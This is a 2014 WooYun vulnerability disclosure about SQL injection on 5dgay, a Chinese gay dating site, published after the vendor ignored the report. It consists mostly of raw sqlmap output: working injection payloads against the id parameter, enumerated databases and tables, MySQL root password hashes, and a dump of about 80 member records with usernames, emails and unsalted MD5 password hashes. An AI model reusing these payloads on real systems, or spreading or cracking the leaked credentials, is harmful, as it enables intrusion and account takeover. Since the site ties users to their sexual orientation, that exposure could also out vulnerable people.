当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056917

漏洞标题:5dgay同志网发现SQL注入点(大量同志信息泄漏)

相关厂商:同志朋友

漏洞作者: 路人甲

提交时间:2014-04-16 19:04

修复时间:2014-05-31 19:05

公开时间:2014-05-31 19:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-05-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

通过该域名对SQL注入测试,发现此网站有SQL注入点,用户隐私大量泄漏

详细说明:

通过该域名对SQL注入测试,发现该网址有大量注入点,数据表被爆出,可以通过漏洞获取用户名和密码,还能获取到系统用户名和密码,导致盗号以及篡改,网站用户隐私大量泄漏

漏洞证明:

漏洞证明: Host,user,Password
localhost,root,*3D4E5971FC77D23769C4BCDA7BF9FA14289FB1E1
localhost,cs,*31B984FDBC0266FE385B5DFEDDBFC5EB8DB8A26A
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
available databases [5]:
[*] 5dgay
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
current user: 'cs@localhost'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: 5dgay
[122 tables]
+-------------------------------+
| lvyou |
| lvyou66 |
| lvyou_detail |
| lvyou_detail66 |
| qqu |
| qqu_detail |
| wanejy_admingroup |
| wanejy_admingroup_fields |
| wanejy_announce |
| wanejy_announce_fields |
| wanejy_claim |
| wanejy_classanimal |
| wanejy_classbaby |
| wanejy_classbelief |
| wanejy_classblood |
| wanejy_classbody |
| wanejy_classchild |
| wanejy_classcomtype |
| wanejy_classcontactday |
| wanejy_classcontactime |
| wanejy_classdrink |
| wanejy_classedu |
| wanejy_classfamily |
| wanejy_classhealth |
| wanejy_classhouse |
| wanejy_classindustry |
| wanejy_classk1 |
| wanejy_classk10 |
| wanejy_classk2 |
| wanejy_classk3 |
| wanejy_classk4 |
| wanejy_classk5 |
| wanejy_classk6 |
| wanejy_classk7 |
| wanejy_classk8 |
| wanejy_classk9 |
| wanejy_classlifefood |
| wanejy_classlifelang |
| wanejy_classlifemovie |
| wanejy_classlifemusic |
| wanejy_classlifeparty |
| wanejy_classlifeplace |
| wanejy_classlifesports |
| wanejy_classmarry |
| wanejy_classnation |
| wanejy_classplace |
| wanejy_classpurpose |
| wanejy_classsalary |
| wanejy_classsmoke |
| wanejy_classstars |
| wanejy_classtryst |
| wanejy_count |
| wanejy_diary |
| wanejy_diary_bground |
| wanejy_diary_count |
| wanejy_diary_fields |
| wanejy_diary_kidney |
| wanejy_diary_reply |
| wanejy_diary_search |
| wanejy_diary_type |
| wanejy_diary_views |
| wanejy_diary_weather |
| wanejy_gifts |
| wanejy_gifts_archiver |
| wanejy_gifts_car |
| wanejy_gifts_class |
| wanejy_gifts_mybox |
| wanejy_group |
| wanejy_group_checkfields |
| wanejy_group_class |
| wanejy_group_cuids |
| wanejy_group_duids |
| wanejy_group_fields |
| wanejy_group_paylogs |
| wanejy_group_photos |
| wanejy_group_search |
| wanejy_group_uids |
| wanejy_logadmin |
| wanejy_logalert |
| wanejy_logintegral |
| wanejy_logmoneys |
| wanejy_logremoney |
| wanejy_logunintegral |
| wanejy_mailtpl |
| wanejy_member |
| wanejy_member_black |
| wanejy_member_books |
| wanejy_member_cards |
| wanejy_member_checks |
| wanejy_member_commend |
| wanejy_member_conquest |
| wanejy_member_detail |
| wanejy_member_faces |
| wanejy_member_fields |
| wanejy_member_fields_complete |
| wanejy_member_index |
| wanejy_member_photos |
| wanejy_member_photos_cat |
| wanejy_member_photos_search |
| wanejy_member_property |
| wanejy_member_recommend |
| wanejy_member_rights |
| wanejy_member_tryst |
| wanejy_member_tuijian |
| wanejy_member_unsearch |
| wanejy_member_views |
| wanejy_onlines |
| wanejy_payments |
| wanejy_payments_fields |
| wanejy_payments_recharge |
| wanejy_pms |
| wanejy_pms_fields |
| wanejy_search_boxes |
| wanejy_search_common |
| wanejy_search_results |
| wanejy_sessions |
| wanejy_system |
| wanejy_template |
| wanejy_template_fields |
| wanejy_template_user |
| wanejy_usergroup |
| wanejy_usergroup_fields |
+-------------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: mysql
[24 tables]
+---------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: mysql
Table: user
[42 columns]
+------------------------+-----------------------------------+
| Column | Type |
+------------------------+-----------------------------------+
| Alter_priv | enum('N','Y') |
| Alter_routine_priv | enum('N','Y') |
| authentication_string | text |
| Create_priv | enum('N','Y') |
| Create_routine_priv | enum('N','Y') |
| Create_tablespace_priv | enum('N','Y') |
| Create_tmp_table_priv | enum('N','Y') |
| Create_user_priv | enum('N','Y') |
| Create_view_priv | enum('N','Y') |
| Delete_priv | enum('N','Y') |
| Drop_priv | enum('N','Y') |
| Event_priv | enum('N','Y') |
| Execute_priv | enum('N','Y') |
| File_priv | enum('N','Y') |
| Grant_priv | enum('N','Y') |
| Host | char(60) |
| Index_priv | enum('N','Y') |
| Insert_priv | enum('N','Y') |
| Lock_tables_priv | enum('N','Y') |
| max_connections | int(11) unsigned |
| max_questions | int(11) unsigned |
| max_updates | int(11) unsigned |
| max_user_connections | int(11) unsigned |
| Password | char(41) |
| plugin | char(64) |
| Process_priv | enum('N','Y') |
| References_priv | enum('N','Y') |
| Reload_priv | enum('N','Y') |
| Repl_client_priv | enum('N','Y') |
| Repl_slave_priv | enum('N','Y') |
| Select_priv | enum('N','Y') |
| Show_db_priv | enum('N','Y') |
| Show_view_priv | enum('N','Y') |
| Shutdown_priv | enum('N','Y') |
| ssl_cipher | blob |
| ssl_type | enum('','ANY','X509','SPECIFIED') |
| Super_priv | enum('N','Y') |
| Trigger_priv | enum('N','Y') |
| Update_priv | enum('N','Y') |
| User | char(16) |
| x509_issuer | blob |
| x509_subject | blob |
+------------------------+-----------------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: mysql
Table: user
[2 entries]
+-----------+------+-------------------------------------------+
| Host | user | Password |
+-----------+------+-------------------------------------------+
| localhost | root | *3D4E5971FC77D23769C4BCDA7BF9FA14289FB1E1 |
| localhost | cs | *31B984FDBC0266FE385B5DFEDDBFC5EB8DB8A26A |
+-----------+------+-------------------------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: mysql
Table: db
[22 columns]
+-----------------------+---------------+
| Column | Type |
+-----------------------+---------------+
| Alter_priv | enum('N','Y') |
| Alter_routine_priv | enum('N','Y') |
| Create_priv | enum('N','Y') |
| Create_routine_priv | enum('N','Y') |
| Create_tmp_table_priv | enum('N','Y') |
| Create_view_priv | enum('N','Y') |
| Db | char(64) |
| Delete_priv | enum('N','Y') |
| Drop_priv | enum('N','Y') |
| Event_priv | enum('N','Y') |
| Execute_priv | enum('N','Y') |
| Grant_priv | enum('N','Y') |
| Host | char(60) |
| Index_priv | enum('N','Y') |
| Insert_priv | enum('N','Y') |
| Lock_tables_priv | enum('N','Y') |
| References_priv | enum('N','Y') |
| Select_priv | enum('N','Y') |
| Show_view_priv | enum('N','Y') |
| Trigger_priv | enum('N','Y') |
| Update_priv | enum('N','Y') |
| User | char(16) |
+-----------------------+---------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
database management system users [48]:
[*] 'cs'@'localhost'
[*] 'root'@'localhost'
database management system users password hashes:
[*] cs [1]:
password hash: *31B984FDBC0266FE385B5DFEDDBFC5EB8DB8A26A
[*] root [1]:
password hash: *3D4E5971FC77D23769C4BCDA7BF9FA14289FB1E1
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: 5dgay
Table: wanejy_member
[41 columns]
+-------------+-----------------------+
| Column | Type |
+-------------+-----------------------+
| adminid | smallint(4) unsigned |
| cblack | smallint(4) unsigned |
| cbooks | smallint(4) unsigned |
| cdiaries | smallint(4) unsigned |
| cgiftrecs | smallint(4) unsigned |
| cgroup | smallint(3) unsigned |
| checked | tinyint(1) unsigned |
| cindex | smallint(4) unsigned |
| cindexed | smallint(4) unsigned |
| cindexeds | smallint(4) unsigned |
| conetime | int(10) unsigned |
| constime | int(10) unsigned |
| contacts | mediumint(6) unsigned |
| cphotos | smallint(3) unsigned |
| cpmsend | smallint(4) unsigned |
| cpmsnew | smallint(4) unsigned |
| cquestrecsn | smallint(4) unsigned |
| cquestrecst | smallint(4) unsigned |
| cquestsendn | smallint(4) unsigned |
| cquestsendt | smallint(4) unsigned |
| credits | mediumint(6) unsigned |
| cstars | tinyint(2) unsigned |
| cunsch | smallint(4) unsigned |
| gid | smallint(4) unsigned |
| integral | mediumint(6) |
| ipaddr | char(30) |
| lastactive | int(10) unsigned |
| lastlogin | int(10) unsigned |
| lastsearch | int(10) unsigned |
| lastviews | smallint(4) unsigned |
| logins | smallint(4) unsigned |
| moneys | float(7,1) unsigned |
| password | char(64) |
| regemail | char(120) |
| regtime | int(10) unsigned |
| schboxes | smallint(3) unsigned |
| uid | mediumint(8) unsigned |
| username | char(30) |
| vipetime | int(10) unsigned |
| vipstime | int(10) unsigned |
| xunitx | varchar(255) |
+-------------+-----------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=70 AND 8035=8035
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=70 AND (SELECT 3219 FROM(SELECT COUNT(*),CONCAT(0x3a6f79783a,(SELECT (CASE WHEN (3219=3219) THEN 1 ELSE 0 END)),0x3a7665683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=70 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f79783a,0x636f6c57725146414658,0x3a7665683a), NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=70 AND SLEEP(5)
---
Database: 5dgay
Table: wanejy_member
[819 entries]
+------+--------+-----------------+--------------------------------+----------------------------------+
| uid | logins | username | regemail | password |
+------+--------+-----------------+--------------------------------+----------------------------------+
| 2 | 55 | ?????? | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 3 | 1 | cqsiang | [email protected] | 6a168524830ca85b27b449a1b05afa60 |
| 4 | 2 | ??????1 | [email protected] | 70c3fb494f99ed2a1335d581f5c6aee0 |
| 5 | 10 | regl | [email protected] | 96e79218965eb72c92a549dd5a330112 |
| 6 | 52 | ??????? | [email protected] | 4ae97eaa8f12a67ba2e8c86d0f73f093 |
| 7 | 1 | sunny821110 | [email protected] | 705b629f08fa6da244fd06d0b08823a5 |
| 8 | 10 | zt1210 | [email protected] | 3adb2e8ec8b5adbd60f9d1edf8b795ed |
| 9 | 1 | ???????? | [email protected] | e3750176efac9d842af7439a8e0e3a7e |
| 3972 | 3 | elvsing | [email protected] | 8342f5e2baaa34c2bbb070a265261904 |
| 11 | 4 | ??? | [email protected] | ccd5d12308db72680077888501646ee3 |
| 12 | 9 | langzi | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 13 | 10 | smm | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 14 | 40 | ?????? | [email protected] | 670b14728ad9902aecba32e22fa4f6bd |
| 15 | 17 | lw916 | [email protected] | 7b1e0b20d5bab045fe203e71ec616c38 |
| 16 | 1 | sxsw | [email protected] | 62fb24d05467e2018e391d4b8e42faa0 |
| 17 | 1 | maomao2895585 | [email protected] | daf83dd140a8a966266dd282c1d5ffaf |
| 18 | 1 | ?????? | [email protected] | 464e60010a39fd367435c6fc88c53c8f |
| 19 | 2 | ?????? | [email protected] | 3957b5bbcedf8d88124ef7c345c0b42b |
| 20 | 9 | ?????Ц | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 21 | 12 | ??????? | [email protected] | e9510081ac30ffa83f10b68cde1cac07 |
| 22 | 71 | ????1 | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 23 | 1 | lihuairi | [email protected] | 239c0fce4e8d16f2dddb5e424520b889 |
| 24 | 186 | sky | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| 25 | 208 | ?????? | [email protected] | 84188f78c3743b66cb16611227deca81 |
| 26 | 11 | jiawen | [email protected] | 42528fe8d3502e00f781572a75429b24 |
| 27 | 1 | ddbb110 | [email protected] | 56225a1e558d92ae4ee39edb0d59ea66 |
| 28 | 1 | ???? | [email protected] | 18ddf017f6cd97b31468ebfc3e167b7b |
| 29 | 1 | ?氮??? | [email protected] | 93e953a4c4892e6e18db4bfcb89e8c1f |
| 30 | 414 | hq620327 | [email protected] | 4cd52371b7a2b00b0489c33aff1c8fe1 |
| 31 | 2 | cool999999 | [email protected] | 670b14728ad9902aecba32e22fa4f6bd |
| 32 | 173 | rain2583 | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| 33 | 2 | yuanye | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| 34 | 1 | С? | [email protected] | 977f36b9e0f524c7fd07935699d8eabc |
| 35 | 1 | XACQ123 | [email protected] | 96bf913894b9cac6b16a3aefc6c86fb9 |
| 36 | 27 | wanghai3381 | [email protected] | e03318e7bf560d98c208b8e8aeee101f |
| 37 | 4 | luo110281 | [email protected] | 7451b24c556eae8fc15b9d6cbca23fe0 |
| 38 | 5 | ???? | [email protected] | ed45f63cbf7959ee3a147c64cafe6bf4 |
| 39 | 52 | ???????? | [email protected] | d0b7cb3d6b9bbbe91c75dd20c9943208 |
| 40 | 1 | ?忡 | [email protected] | 8ec109c8b0c10b123b2556fbb2b76bf9 |
| 41 | 59 | ziye0518 | [email protected] | 562a92d26332b6e911db3563778ca266 |
| 42 | 1 | ???? | [email protected] | 723d505516e0c197e42a6be3c0af910e |
| 43 | 4 | С?? | [email protected] | 25d0a0990541d047c1fff98afefb598f |
| 44 | 1 | john-841015 | [email protected] | 48b6802fb20fc3c7d51b3a7ee272c438 |
| 45 | 1 | ??????? | [email protected] | c6fee72880f0e25fd7bfa813678daa01 |
| 46 | 2 | ?????? | [email protected] | 4c9da797f826d51ffaf3868353654def |
| 47 | 1 | JOJO | [email protected] | ff45cb4f5b2330687fef92d40611412b |
| 48 | 1 | zgcq | [email protected] | 96e79218965eb72c92a549dd5a330112 |
| 49 | 6 | xioujing | [email protected] | b19f9d7cb5335310a679be1fa04aa42f |
| 50 | 1 | 13016012066 | [email protected] | 06231a46dc9b7315e83ffd6d1ccadc29 |
| 51 | 4 | loveallguy | [email protected] | 5026d404418c9a1e5fc2cd4d4a7f28de |
| 52 | 11 | chinagay | [email protected] | 90f994f342ca8fbfb8544c68d227e7cd |
| 53 | 646 | ?????? | [email protected] | ce4aa88a53963b7aa0fc8c1f763a57fc |
| 54 | 1 | waitingfly | [email protected] | 39de277fc9e884c7d4d3ee5836b69eac |
| 55 | 155 | ??? | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| 56 | 4 | ??????? | [email protected] | 11dc2b858bb169b0e54eae9091851d64 |
| 57 | 10 | ???????? | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 58 | 3 | 376167368 | [email protected] | ab795f6517df9020889047a8d0972172 |
| 59 | 3 | ???????? | [email protected] | 04241b2c695ff6ded59961579c577769 |
| 60 | 412 | ?????? | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| 61 | 1 | ?????? | [email protected] | 327bc4e22b649d47c4546a3ec93f376b |
| 62 | 1 | yaoming | [email protected] | 8657e143b31e69d2151a881faa7be0c4 |
| 63 | 11 | ???? | [email protected] | cf79ae6addba60ad018347359bd144d2 |
| 64 | 3 | liulin | [email protected] | ed2b1f468c5f915f3f1cf75d7068baae |
| 65 | 1 | daili | [email protected] | 1e4e885c16bff20f1d59a21b0c01ac5d |
| 66 | 124 | ?????? | [email protected] | d28fc610d98aaa7158d9dc767eadef9e |
| 67 | 1 | ??? | [email protected] | e10adc3949ba59abbe56e057f20f883e |
| 68 | 1 | ???????? | [email protected] | ec1273a3cdb4cb1ec72018e717e3edb5 |
| 69 | 24 | tonymanplus | [email protected] | 65c0ae7e0579410b6820cb9ab6f392ff |
| 70 | 93 | ???? | [email protected] | 8f3ca8ac190630c80fd20e21a9bb7fc1 |
| 71 | 1 | qingting | [email protected] | 95523dfe3f6c8431a28fceeb847879da |
| 72 | 6 | ?????? | [email protected] | 65879e2839b4c288cb517596424968db |
| 73 | 1 | ??????????? | [email protected] | 1012f566fb5dfcc1f9fe4fa4f75ef954 |
| 75 | 1 | qwertyuiop | [email protected] | 931eb83e8001c17c45b54483e150e14b |
| 76 | 7 | Tom-bruce | [email protected] | 1126b4ac4e193ec840107cf403076491 |
| 77 | 170 | hani0521 | [email protected] | c812106767f929a68b1c3aca22f960b0 |
| 78 | 287 | ??????? | [email protected] | 16d54e37dca50ffb431d50577265d72d |
| 79 | 1 | lucky | [email protected] | 95523dfe3f6c8431a28fceeb847879da |
| 80 | 60 | summerbird | [email protected] | f1887d3f9e6ee7a32fe5e76f4ab80d63 |
| 81 | 2 | tyts | [email protected] | c600248f6d009a0355bfca8abc39389d |
| 82 | 2 | 0000 | [email protected] | ffab98f2541d99d6146e3fc8e26038b8 |
| 83 | 12 | 520520 | [email protected] | bde1ee48ad93c1d102ae60f48afb4a38 |
